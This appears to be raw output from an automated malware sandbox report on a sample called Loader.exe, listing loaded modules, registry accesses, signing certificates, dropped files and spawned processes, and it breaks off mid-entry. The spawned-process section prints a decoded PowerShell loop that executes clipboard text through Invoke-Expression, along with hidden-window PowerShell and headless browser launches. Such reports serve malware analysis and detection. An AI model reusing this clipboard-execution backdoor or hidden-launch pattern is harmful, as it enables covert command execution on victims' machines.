"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ff8fe7d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff914a60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff915e00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff917bb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff914980000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff916c00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff914620000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff934160000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff939350000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ff92b8b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff92d360000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff93f6d0000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 7ff92f150000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff93d6d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 7ff93d590000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ff925fb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ff938880000 "powershell.exe" loaded module "KERNELBASE" at base 7ff93f6d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff8fdab0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff9400b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff9340e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MKNCGS6B.DLL" at base 7ff934090000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff91a9a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff937c00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff934070000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff931ae0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff91a860000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff919e00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff919c90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff9182a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff92c140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff9304c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff91aa40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff92fe50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff914e70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff938130000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\3C82A5286B5172D5A68C8DF2E09C4C40\SYSTEM.DRAWING.NI.DLL" at base 7ff914c70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\BEE998043EB1E9BADECD282A79540A5E\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff8fd6e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff8fc9c0000 "powershell.exe" loaded module "OLEAUT32" at base 7ff94026000041:T4b3,"19001a00000000002042943ff97f0000@ntdll.dll" "22002300000000004042943ff97f0000@ntdll.dll" "0d000e00000000005c2d26400c020000@KERNELBASE.dll" "10001100000000006c2d26400c020000@KERNELBASE.dll" "1300140000000000462d26400c020000@KERNELBASE.dll" "0b000c0000000000802d26400c020000@bcryptprimitives.dll" "1000110000000000d62d26400c020000@ADVAPI32.dll" "0c000d0000000000ea2d26400c020000@ADVAPI32.dll" "1100120000000000fa2d26400c020000@ADVAPI32.dll" "0b000c00000000000e2e26400c020000@ADVAPI32.dll" "0d000e0000000000c62d26400c020000@ADVAPI32.dll" "0f001000000000002a2e26400c020000@bcrypt.dll" "0c000d00000000005e3126400c020000@WS2_32.dll" "0a000b0000000000da3426400c020000@WS2_32.dll" "0600070000000000a63226400c020000@WS2_32.dll" "04000500000000009e3226400c020000@WS2_32.dll" "1300140000000000003526400c020000@WS2_32.dll" "0600070000000000d03426400c020000@WS2_32.dll" "0b000c0000000000863226400c020000@WS2_32.dll" "0b000c00000000000c2f26400c020000@WS2_32.dll" "0b000c0000000000783226400c020000@WS2_32.dll" "0b000c00000000006a3226400c020000@WS2_32.dll" "0a000b00000000005c3226400c020000@WS2_32.dll" "0a000b00000000004e3226400c020000@WS2_32.dll" "0700080000000000443226400c020000@WS2_32.dll"42:T46e,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Activation Layout Preferences" (Path: "HKCU\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}\TREATAS")43:T43f,"Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "806964ff31e2acc80.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "806964ff31e2acc80.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "806964ff31e2acc80.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NAME")44:T100d,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007308-00000C2E-1806295306] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007308-00000C2B-3487741491] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007308-00000C2B-3488001011] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007308-00000C2B-3488341001] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00007308-00000C2B-3488679217] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007308-00000C2B-3488764420] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007308-00000C2B-3488869197] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007308-00000C2B-3488973457] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00007308-00000C2B-3489149099] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00007308-00000C2B-3489234935] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007308-00000C2B-3489393755] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007308-00000C2B-3489815173] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007308-00000C2B-3490021275] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00007308-00000C2B-3490440923] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007308-00000C2B-3490482041] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007308-00000C2B-3491610054] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007308-00000C2B-3491616704] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007308-00000C2B-3491824824] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00007308-00000C2B-3491856157] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00007308-00000C2B-3491983459] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00007308-00000C2B-3493234671] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll" [Source: 00000000-00007308-00000C2B-3493802021] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00007308-00000C2B-3494176675] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll" [Source: 00000000-00007308-00000C2B-3494179033] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00007308-00000C2B-3494516373]45:T47f,Spawned process "powershell.exe" with commandline "powershell -Command "Add-Type -AssemblyName System.Windows.Forms ..." (UID: 00000000-00007308), Spawned process "806964ff31e2acc80.exe" (UID: 00000000-00008272), Spawned process "powershell.exe" with commandline "-Command "Start-Process powershell -WindowStyle Hidden -Argument ..." (UID: 00000000-00004092) Spawned process "powershell.exe" with commandline ""powershell" -Command "Get-Process | Select-Object Name"" (UID: 00000000-00008248) Spawned process "powershell.exe" with commandline "-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMA ..." (UID: 00000000-00005928, Additional Context: "while ($true) { $clip = Get-Clipboard; if ($clip -and $clip.StartsWith('_')) { $cmd = $clip.Substring(1); Set-Clipboard ' '; Invoke-Expression $cmd; break }; Start-Sleep -Milliseconds 500 }"), Spawned process "msedge.exe" with commandline "--headless --disable-gpu" (UID: 00000000-00008796), Spawned process "chrome.exe" with commandline "--headless --disable-gpu" (UID: 00000000-00005016), Spawned process "firefox.exe" with commandline "--headless --disable-gpu" (UID: 00000000-00004532)46:T47f,Spawned process "powershell.exe" with commandline "powershell -Command "Add-Type -AssemblyName System.Windows.Forms ..." (UID: 00000000-00007308), Spawned process "806964ff31e2acc80.exe" (UID: 00000000-00008272), Spawned process "powershell.exe" with commandline "-Command "Start-Process powershell -WindowStyle Hidden -Argument ..." (UID: 00000000-00004092) Spawned process "powershell.exe" with commandline ""powershell" -Command "Get-Process | Select-Object Name"" (UID: 00000000-00008248) Spawned process "powershell.exe" with commandline "-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMA ..." (UID: 00000000-00005928, Additional Context: "while ($true) { $clip = Get-Clipboard; if ($clip -and $clip.StartsWith('_')) { $cmd = $clip.Substring(1); Set-Clipboard ' '; Invoke-Expression $cmd; break }; Start-Sleep -Milliseconds 500 }"), Spawned process "msedge.exe" with commandline "--headless --disable-gpu" (UID: 00000000-00008796), Spawned process "chrome.exe" with commandline "--headless --disable-gpu" (UID: 00000000-00005016), Spawned process "firefox.exe" with commandline "--headless --disable-gpu" (UID: 00000000-00004532)47:T985,The input sample is signed with a certificate issued by "CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: 55:DE:BB:59:4D:4D:31:1A:03:26:66:64:57:12:13:A9:3A:5D:52:51; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 33:E4:E8:08:07:20:4C:2B:61:82:A3:A1:4B:59:1A:CD:25:B5:F0:DB; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 51:B9:F5:C4:BB:DD:7B:EC:CA:5C:39:0F:BE:28:A6:DD:74:2A:68:5F; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 54:83:B3:1B:FC:31:67:40:CB:59:90:C6:56:F6:4C:42:17:C1:9D:25; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: C2:28:12:7F:8C:B2:D6:C7:3A:96:F0:44:37:DF:F9:9A:E8:C6:84:BC; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B; see report for more information)48:T710,"806964ff31e2acc80.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 (stripped to external PDB) 10 sections"- Location: [%APPDATA%\806964ff31e2acc80.exe]- [targetUID: 00000000-00008272] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00005928] "__PSScriptPolicyTest_vxuej3kp.l0o.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_vxuej3kp.l0o.psm1]- [targetUID: 00000000-00004092] "__PSScriptPolicyTest_4lqkqt5a.fit.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_4lqkqt5a.fit.ps1]- [targetUID: 00000000-00007308] "__PSScriptPolicyTest_vj3bc0ev.3ec.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_vj3bc0ev.3ec.ps1]- [targetUID: 00000000-00008248] "__PSScriptPolicyTest_u0bkqot5.d0a.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_u0bkqot5.d0a.ps1]- [targetUID: 00000000-00004092] "__PSScriptPolicyTest_b4sz3hhm.jbz.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_b4sz3hhm.jbz.ps1]- [targetUID: 00000000-00005928] "__PSScriptPolicyTest_21vk4fqg.lkr.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_21vk4fqg.lkr.psm1]- [targetUID: 00000000-00007308] "__PSScriptPolicyTest_dd1k4ukg.kmw.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_dd1k4ukg.kmw.psm1]- [targetUID: 00000000-00005928] "__PSScriptPolicyTest_qp1gjrnj.cz3.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_qp1gjrnj.cz3.psm1]- [targetUID: 00000000-00008248]49:Ta6c,"Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLDECODEOBJECTEX"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECTEX"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECTEX\1.2.840.113549.1.9.16.1.1"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECTEX\1.2.840.113549.1.9.16.2.1"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECTEX\1.2.840.113549.1.9.16.2.11"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECTEX\1.2.840.113549.1.9.16.2.12"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECTEX\1.2.840.113549.1.9.16.2.2"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECTEX\1.2.840.113549.1.9.16.2.3"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECTEX\1.2.840.113549.1.9.16.2.4"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\MSASN1"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT"; Key: ""; Value: "")4a:T10e2,"Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: "EN-US"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: "EN"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLEMANDATORYBASICCONSTRAINTS"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLECANAMECONSTRAINTS"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLEUNSUPPORTEDCRITICALEXTENSIONS"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLCOUNTINCERT"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLRETRIEVALCOUNTPERCHAIN"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXURLRETRIEVALBYTECOUNT"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLRETRIEVALBYTECOUNT"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: 